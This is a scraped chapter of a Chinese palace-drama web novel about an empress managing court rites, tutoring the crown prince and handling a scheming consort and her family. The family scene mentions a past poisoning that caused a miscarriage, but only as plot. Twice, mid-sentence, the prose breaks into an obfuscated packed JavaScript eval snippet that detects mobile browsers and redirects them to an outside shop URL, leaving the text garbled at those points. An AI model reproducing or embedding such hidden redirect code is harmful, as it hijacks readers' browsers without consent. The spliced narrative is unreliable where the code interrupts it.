不管是通过看书充实自己,增加对这些时空的了解,还是不时汇总分析来自朝野内外及民间的消息,都需要花费她的时间与精力。 对了,除此之外,她还要抽时间教儿子。 隆冬时节,大雪纷飞,时间已接近过年,不仅宫外的人家都在忙着准备过年物资,宫中也在做各准备工作。 毕竟每到过年前后,都是宫内最为繁忙的时刻,不仅要筹备多场宫宴,犒赏朝堂功臣与宗亲,还要举行数场祭典,祭天地神灵与先祖。 不过柳明月还是秉承她一惯的风格,只负责制订与完善相应工作的安排计划,然后就将具体工作都分配出去。 连后宫妃嫔们在内,都被她给安排得明明白白,保证能让她们在过年期间老老实实的,毕竟谁也不想自己负责的那摊子活出差错,然后将脸面丢得人尽皆知。 后院的那片土地上,一半种植有小麦,一半现在空置,已被厚厚的积雪所覆盖,柳明月笑问身旁的太子。 “年后开春化冻后,这地也需要重新种起来了,太子可曾做好到时要种上些什么的计划?” 说起这个,徐境文很有信心的回道。 “儿臣特意去司农司咨询过,开春后可以种芸苔菜、茼蒿、韭菜、莱菔(萝卜),等到天气更暖和一些后,可以种的品种就更多了。” 柳明月赞赏的点头道,“嗯,你能想到提前去向经验丰富的前辈请教,从而提前做好规划,这样很好,做人就该如此,早规划、准备,成功机率才会更大,正所谓是三军未动,粮草先行,只有准备得足够充分,才能在事到临头时,不至于手忙脚乱。” 经过半年多的上朝加种地历练,徐境文的变化不小,周身那文雅的气质得以沉淀,变得沉稳了许多。 听到母亲的夸赞与告诫,徐境文深以为然的回道。 “还是父母与母后圣明,教儿臣亲身体验到农事劳作的艰辛,知道不同作物的不同习性与种植要求,以及在农事生产中,可能会遇到的种种困难,让儿臣不再像从前那样,对这一切的了解,都停留在书本上,只知其然,不知其所以然。” 这个认知的进步确实很大,果然是实践出真知,柳明月对此表示很欣慰。 便宜儿子本来受原主的影响很大,又接受那些大儒名士教导,被教得少年老成,常将仁义道德礼规挂在嘴边,却又只知照本宣科。 那样的太子,绝对符合朝中所谓寒门清流一派的喜好,准确的说,那时的太子本就是他们那一派的人,悉心打造出来的一个理想中的新朝继承人。 在柳明月看来,便宜儿子在此前,完全就是他爹抛出去用以拉扰那些文臣的工具太子,若其不能意识到,且改正自身的问题,绝对会在被榨干利用价值的将来,被他爹给无情抛弃。 因为一个完全受文人思想所钳制的太子,绝对不是一个新朝所需要的合格继承人,因为他压根就没能力制衡那些文武大臣。 便宜儿子还算听话受教的表现,让柳明月对他也多了点耐心。 在她看来,只要太子能够持续进步,在实践中深刻认识到自身的不足,并加以改进,将来若是不出意外,还是有能力做个守成型得好皇帝的。 当然,前提是希望太子他爹能在头脑清楚的状态下,多活些年头,不仅能在死前将边境给料理好,还将前朝那些开国功臣都给捊清楚了,没有留下什么大的隐患。 因为太子不仅愿意听她这个老妈的话,还很愿意他爹、他老师,他觉得有道理的话,耳根软,很容易被人利用。 没有大魄力,树立不起应有的威信,就注定了他搞不定边境冲突,也制衡不住那些功劳显赫的勋贵和老将。 不过现在说这些,还为时尚早,徐庆业现年四十六,就算这个时代的人类平均寿命低,只要他在全国最顶尖的医疗团队的服务下,不主动作死,再活个十来年,应该不难。 有了这个十来年,以其心机能力与手腕,足能让他将新朝彻底稳定下来,将能够成为威胁的存在都给打压下去,不至于给自己的继承人留下什么大的隐患。 此时的柳明月没有想到,她所推理的这一切,不过是最理想的状态,而这世上怕出意外的事,往往最容易出意外,当然这些已是后话。 过年期间,不仅宫里的人都忙,柳明月也忙。 过年前后这几天,是她这个皇后,在皇宫内外最有存在感的几天,不仅要与皇上一样,主持一场场宫宴,还需出席各种祭典活动。 所有场合都需大妆出席,头戴近十斤的凤冠,穿着没那么保暖的皇后正装。 出席宫宴在屋里还好点,各种祭祀多在屋外,她需要在时刻保持好端仪的状态下,陪着皇上率领文武百官一起跪地叩拜。 首次以皇后的身份过完一个年后,柳明月觉得自己都被累瘦了好几斤,简直是身心俱疲。 想当年,她还曾大费周折的各种寻找相关史料记载与文献,用以研究各种古礼。 如今只需过个年,她就能对各种场合下的各种无比繁锁的礼规流程,都了如指掌,真是出息大了。 不过别人显然理解不了她的感受与体会,只会觉得她不仅能以皇后的身份,有幸与皇上一起去主持各种祭祀,还与皇上并座在至高之位上,接受他人的跪拜,是在享无上荣耀,从而羡慕不已。 好在后宫众人都知道现在的她,早不像原主那时,是个会因心存顾虑,一再容忍妃嫔们的酸言酸话的皇后。 而是一位即便不再常出现在人前,却大权在握,在所有人心中都积威甚重的皇后。 “启禀皇后娘娘,玉华殿的思婕妤派人过来禀报,说是九皇子有点咳嗽,想请杨正奉过去给九皇子看诊。” 杨太医是太医院的一把手,官职全名为正奉上太医,主要负责为皇上皇后看诊,其他人想要请这位出手,需求皇上或皇后下谕旨。 柳明月正在练字,丝毫不受影响的一心二用,直接问道。 “这次是想请杨正奉,嗯,算起来,这是本月的第几次了?” 过来通报此事的宫女秋双愣了一下,才迅速回道。 “回娘娘的话,这是玉华殿在本月第五次找过来了。” 五次的理由无一不是九皇子这里不适,那里不适,不是想请皇上过去,就是想请皇后过去。 “本宫若没记错的话,负责为九皇子调理身体的太医,似乎是宫中最擅长儿科的吴院判?” 秋双赶紧回道,“是的,思婕妤前次请您出面,令李院使去为九皇子看诊过,李院使过来回话时说,吴院判给九皇子制定的调理方案,是最合适不过的,换他开方的话,效果可能多有不及。” 上次已然逼得人家不得不承认自己不如同行,且是二品的院使不如四品的院判,上司不如下属。 这次竟然直接将主意打到太医院的最高领导头上,治病这件事,也成了不愿相信最对症的,而是只相信官位最高的了吗? 很显然,思婕妤是至今都没弄明白她那个封号的深意,才会契而不舍的一直折腾,不惜借九皇子秀存在感和邀宠。 柳明月对这种膈应人的小心机烦不胜烦,还不得不应付。 只因这其中夹着一着轻不得重不得的九皇子,她但凡有个应对不当,又逢九皇子有个什么不好,就脱不了干系,之前用心经营的一切,都会因此而受影响。 闭了闭眼,又深吸了一口气,柳明月才回道。 “让玉华殿的人回去告诉思婕妤,杨奉正年事已高,本宫也不便随意打扰,需待本宫请示皇上之后,再做决定。” 说话的同时,柳明月快速从旁取出一份空白文书,不带个人感情的,将整件事的过程都讲了一遍,然后请皇上自己看着办。 毕竟她是皇上自己的小老婆和小儿子,凭什么是她一再被难为。 看到柳明月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12971595|136096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在奏书中,简单明了的记述了在这个尚未过完的二月里,玉华殿的思婕妤数次派人去坤元宫的理由与诉求,以及皇后每次所做的应对,连徐庆业都不得不发自内心的感慨,皇后能忍这么久,对思婕妤绝对是仁至义尽。 与此相对应的,当然是对那思婕妤更加的厌恶,皇后往日里偶感不适,都不曾主动召过杨奉正,思婕妤却敢仗着育有九皇子,提出这种要求。 更重要的是,无论是皇后,还是太医院的其他太医都曾解释过,吴院判就是大医院中儿科水平最高,最适合九皇子的大夫,思婕妤却都不愿理会。 如此看来,这思婕妤生下九皇子后,膨胀得有些厉害啊。 “何忠,给赵家拟旨,问问他们家是怎么教养女儿的,思婕妤心胸狭隘,不知尊卑,还为母不慈,早前疏于照顾皇嗣,致九皇子先天不足,尚不知悔改,尤在宫中借九皇子之名,一再生事,朕再给他们赵家最后一次机会,再有下次,定要重罚。” 何忠应下的同时,赶紧在一旁记下这段内容,不敢有任何遗漏,哪怕那赵家对他极为巴结,出手也很大方,他也不敢在这种事情上放水。 他也是真心佩服那位思婕妤,遇上他们这位贤妻大度到古今罕见的皇后,却不知珍惜自己的好运,放着好日子不过,偏要生事,将那位的耐心耗尽。 若是以前的皇后,后果可能还没这么严重,现在的皇后像是突然开了某个明窍,做什么事,包括写奏表在内,那叫一个滴水不漏, 而且人家在奏表中写的内容,不会夹带任何私人感情偏向,主打的就是一个如实描述,任人自行评价。 可也正因如此,皇上现对皇后所奏之事,更加的信任与重视。 接到皇上亲自下达的斥责赵家教女无方的敕旨,赵家上下可以说是如丧考妣。 他们都知道,肯定是思婕妤在宫中惹下的祸不小,才会有这么一份充满警告的敕旨。 要知道,平日里宫中需要对某家人的德行加以训诫,基本都是由皇后下懿旨,能让皇上亲自出面,足以证明宫中因思婕妤而对赵家有多不满。 由他们赵家女顺利生下九皇子的欢欣与喜悦尚未退去,就发生了这样的事,由此而引发的各种指责与争吵,可谓是不绝于耳。 “四嫂,你糊涂啊,这么大的事,你怎能因为心疼女儿,就不告诉婕妤呢?” 得知赵三夫人在知道女儿遇袭之事的背后真相后,没有告诉思婕妤,赵四夫人立刻站起身,怒瞪着对方。 赵三夫人也意识到因自己的一时心软,让女儿不知收敛,又在宫中折腾,耗尽皇上的耐心,从而为府上招来这场祸事,也是懊恼不已。 “我……我想着她已经吃了大亏,我与大嫂给她分析过利害,又再三叮嘱她,一定要以皇子为重,千万不可再造次,后来我每次进宫时,也会反复强调一下,她都答应得好好的,我担心将真相告诉她后,她会心生恐惧,影响到她的心情,养不好胎。” 不能说赵三夫人身为一个母亲,这么为女儿考虑是错的,赵四夫人继续质问道。 “九皇子出生前,你不说,还情有可原,那么婕妤顺利生下九皇子后呢,你几次进宫,为什么还不说?” 赵三夫人有些语塞,赵大夫人冷着脸开口道。 “是怀着侥幸心吧,认为你女儿有了九皇子,且宫中对九皇子很重视,就能高枕无忧,皇上也会不再计较她做过的事?” 赵三夫人心虚的绞着手帕,说起来,就是她与其女儿犯了一样的错,以为有了皇子就能万事大吉。 赵大老爷强忍着心中的怒火作出安排,令他妻子与赵三夫人、赵四夫人一起,于次日一早递牌子进宫请罪。 柳明月在收到乾元宫给出的反馈,知道皇上在接到她的奏表后,亲自下了道斥责赵家的敕旨,虽然略感意外,但是仔细想想,也不是不能理解。 好好的小儿子因思婕妤造孽,而变成不一定能养得活的病秧子,皇上心中本就对思婕妤极其不满,甚至可以说是厌恶。 可是从思婕妤不仅不知低调的缩在玉华殿好好养儿子,还敢一再折腾,贪心不足的表现上,知情人都能看得出来,赵家没有给予她应有的告诫。 20.第 20 章 不管是柳明月,还是之前的原主,与赵家之间,都属往日无怨近日无仇的关系,所以对于赵家的遭遇,她没什么多余的情绪。 只希望他们这次能吸取教训,让思婕妤别再拿她的病儿子到处碰瓷,能真正彻底消停下去。 要不是需要借此彰显自己的贤良淑德和不易,她完全不用如此迂回,早就不露痕迹的将其彻底摁下去了。 所以柳明月在收到赵家三位诰命夫人递牌子进宫求见的消息时,破例让她们插了个队,先接见了赵家的这三位。 “三位夫人不必多礼,起来坐着说话吧。” 赵大夫人态度恭敬而又谦卑的伏身磕头致谢后,取出一份礼单呈上。 “多谢皇后娘娘的恩典,只是罪妇等人深负上恩,实在愧不敢受,这是罪妇代赵家奉上的一点心意,还请娘娘莫要推辞。” 对于这位打过几次交道的赵大夫人,柳明月的印象还不错,所以她的态度还算温和,侍立在她身侧的秋双得到示意,立刻上前躬身接过礼单。 “冯硕人言重了,世人都难免犯错,错了改了就是,皇上和本宫,可都没给赵家定罪,尔等何罪之有?” 见皇后对她的态度一如既往的温和,且收下了礼单,赵大夫人暗自松了口气,难掩感激之情得再次带着两个妯娌伏身磕头。 “多谢皇后娘娘的宽恕之恩,臣妇与赵家上下,必当感铭在心。” 三人这才起身坐到已安放好的锦凳上。 “你们此次进宫的来意,本宫已经知晓,为照顾生得体弱的九皇子,本宫亲自为他制定了非常详实的照顾条例,你们是九皇子的外家,都可以看一下。” 秋双随即奉上一份多达三页,同容十分详实的文书,让三位赵家夫人传阅。 赵家三位夫人恭敬的道过谢后,才看了起来。 看到那些精确到每个时辰每一刻,九皇子分别吃了多少喝了多少,大小便排了多少,负责太医请平安脉的诊断及复诊结果等,都需详实记录下来的各项条例,三人的脸色都被臊得通红。 三人都育有亲生儿女,她们谁都不曾想过可为自己的儿女,制定如此周到的照顾要求。 这当然不是因为她们不爱自己的儿女,而是她们根本想像不到,竟然还能这般滴水不漏的照顾孩子。 正因如此,她们都能切身感受到皇后的贤良之名,绝对不掺半点水分。 可是出身于他们赵家的思婕妤,对此尤不知足,在此基础上各种挑剔、提要求,让她们这些娘家人都感到羞惭不已。 “皇后娘娘对思婕妤母子关照有加,绝对无可指摘,皆因臣妇教女无方,方才将她娇纵得不知分寸,臣妇定当吸取教训,再不敢犯。” 柳明月点点头,又与三人简单客气了两句,就令秋双将她们送去玉华殿。 到了玉华殿,将周围侍候的人都打发下去后,赵三夫人神情严肃的看着自己的女儿。 “娴儿,你要是还认我这个母亲,你就给为娘说实话,皇后待你们母子恩重如山,为何你反倒还要去招惹她?” 这是赵三夫人在接到那份敕旨后,苦思了一夜,才想到的一个最有可能的原因,就是她女儿应该是因她对皇后心存不满,才会仗着儿子体弱,一再提各种逾矩的要求,情况严重到连皇上都不满的程度。 赵大夫个与赵四夫人对这位婆家侄女的了解,显然不及人家亲生母亲多,听到此话,都难掩惊愕之情。 在收到她的母亲与两位婶娘突然进宫的消息时,思婕妤就有大势不妙的预感,此刻听到她母亲如此严肃的质问她,她更觉心虚。 “母亲何出此言?女儿在生下九皇子之前,一直在安心养胎,生下九皇子后,则是在玉华殿专心照顾九皇子,从不掺和宫中的事,怎么可能去招惹皇后娘娘呢?” 听到女儿这般顾左右而言其他的拉扯,不敢正面回答她的质问,赵三夫人更加肯定自己的推断没错。 “娴儿,你是我的女儿,我自认还算了解你,却没想到,你竟在不知何时,变成了连对我这个母亲,都不说实话的地步,你当你不敢承认,你所做过的那些事,就能当作不发生过吗?” 思婕妤闻言,顿时脸沉了下来。 “九皇子身体不好,我这个当母亲的想为他争取水平更高太医,想让他得到更精心的照顾,想求皇上对九皇子多关照几分,这是人之常情,皇后凭什么因此就将你们召过来?” 听到这话,赵大夫人与赵四夫人也都意识到,赵三夫人的判断没错,思婕妤还真就存着想给皇后找事的心,才会那般折腾生事。 “娴儿,我们这趟进宫,可不是皇后娘娘召进来的,而是在接到皇上斥责我们赵家教女无方后,进宫请罪的。” 思婕妤当然知道赵大夫人话中所透露出的信息,对他们赵家而言,是多大的打击,心虚之余还恼羞成怒。 “肯定是皇后挑拨的,挑拨皇上对我和赵家心生不满,那个女人天天摆出一幅贤良大度的模样,实则仗着皇上给她这个原配脸面,心狠手辣得很,你们不要也被她骗了,我怀疑,当初我在莲池边遇袭一事,就和她脱不了干系,只是皇上偏向她,才任由我蒙冤受屈,不为我张目。” 赵四夫人不有些不敢相信的看着眼前的侄女,下意识问道。 “皇后怎么心狠手辣了?” 她毫不怀疑,皇后若真像思侄女说得那样心狠手辣,思婕妤母子根本没机会活到现在,也就根本不会给思婕妤留下这恩将仇报的机会。 看出赵四夫人是在质疑她不知好歹,思婕妤几乎是尖着嗓子怒吼道。 “她在我生九皇子之际,威胁我要刨腹取子,这世上还有比她更恶毒的女人吗?” 赵大夫人不动声色的问道,“她是在什么情况下,这般威胁你的?” 面对在她心中积威甚重的大伯母,思婕妤仿佛是被戳破口的气球,骤然泄了气。 “是在我因腹中阵痛难忍,痛叫出声的时候。” 此话一出,赵三夫人也深刻认识到自己女儿有多么的不知好歹。 “那你知不知道,女子本就需要尽量保存体力,才有可能顺利生产,提前力竭,等到正式生产时,很有可能导致一尸两命的惨况,皇后娘娘明明是在救你和九皇子,怎么在你口中,却成心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12976799|136096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠手辣了呢?” 赵四夫人毫不留情面的接过话。 “因为我们婕妤娘娘蠢不自知,还自以为是,我早说过,古往今来,都没见过能比我们皇后娘娘更贤惠的女子,偏我们婕妤娘娘总以为人家跟她一样,也是个心狠手辣的。” 说完她,她又转头看向越三夫人。 “三嫂,你心疼自己的女儿,舍不得她有压力,便将我们一大家子死活弃之不理,今天就由我这个四婶来做这个恶人,将早该说清楚的放,都给说出来。” 不等赵三夫人母女有所反应,她便直接道。 “婕妤娘娘不用摆出这副受尽屈辱的模样,你不顾我们赵家和许家的世交之情,下黑手暗害许昭仪流产一事,早被皇上皇后查得一清二楚,是人家许昭仪知道真相后,气不过报复你,皇上看在两家的面子上,才没将真相公开,结果你还怀疑起处处对你关照有加的皇后了。” 说起这件事,赵四夫人就觉火冒三丈,要知道,为维护许赵两家的情谊,她那个嫁到许家的大女儿,在婆家受尽白眼和委屈。 听到这番话,思婕妤的脸顿时苍白如纸,整个人都忍不住有些颤抖,那是她心中最为隐秘,被她有意遗忘的过往,她不曾告诉任何人,包括她母亲。 “怎么可能?怎么可能有人知道?” 听到思婕妤敢做不敢认,被当面揭穿她曾做下的恶事后,首先想到的竟是质疑别人怎么知道,赵四夫人冷笑着回道。 “这世上就没有不透风的墙,你只要做过了,就少不了会留下痕迹,例如你仗着许昭仪对你的信任,送她混有麝香的香后,还担心没效果,又让她喝下混有藏红花的保胎药的事。” 许昭仪既吃了见识少的亏,也因她对思婕妤毫无防备之心。 直到她收到皇后制定的新宫规,里面明文强调,所有怀孕或是有怀孕迹象的妃嫔,都需做到尽量不用香,即便要用香,也要学会甄别一些对孕妇不利的药物成分。 而那些会伤害到孕妇的药物中,就有让她觉得眼熟以及味道熟悉的东西,从而得到结论,她那次流产,应当就是出自她满心信任的好姐姐之手。 听到赵四夫人将她曾采用的手段都给直接点了出来,思婕妤再无半分侥幸之心,只觉惶恐不已。 同时,她也在这一瞬间,知道了皇了为何会对她如此冷漠,不给她留情面,不是像她所以为的,是受皇后的挑拨,而是皇上在查出她曾做过的那些事情后,就已经彻底厌弃了她。 “娘,大伯母,我真的不是有心的,我那时,在听了别人的几句闲言碎语后,好像是被鬼迷了心窍,才会做下那件事,你们要相信我,我真的不像四婶所说得那样。” 看着终于放下婕妤的架子,哭得十分狼狈的思婕妤,赵四夫人冷哼了一声道。 “你对我们哭,能起什么作用?我们一大家子现在被你连累得这么惨,被皇上斥责教女无方,你那些还未出门子的妹妹和侄女,将来还不知道是何光景呢,当然,你也别想着去找皇上皇后哭,再害得我们赵家罪加一等,一大家人忙活大半辈子,才攒下的那点家业,因你一个被送出大半。”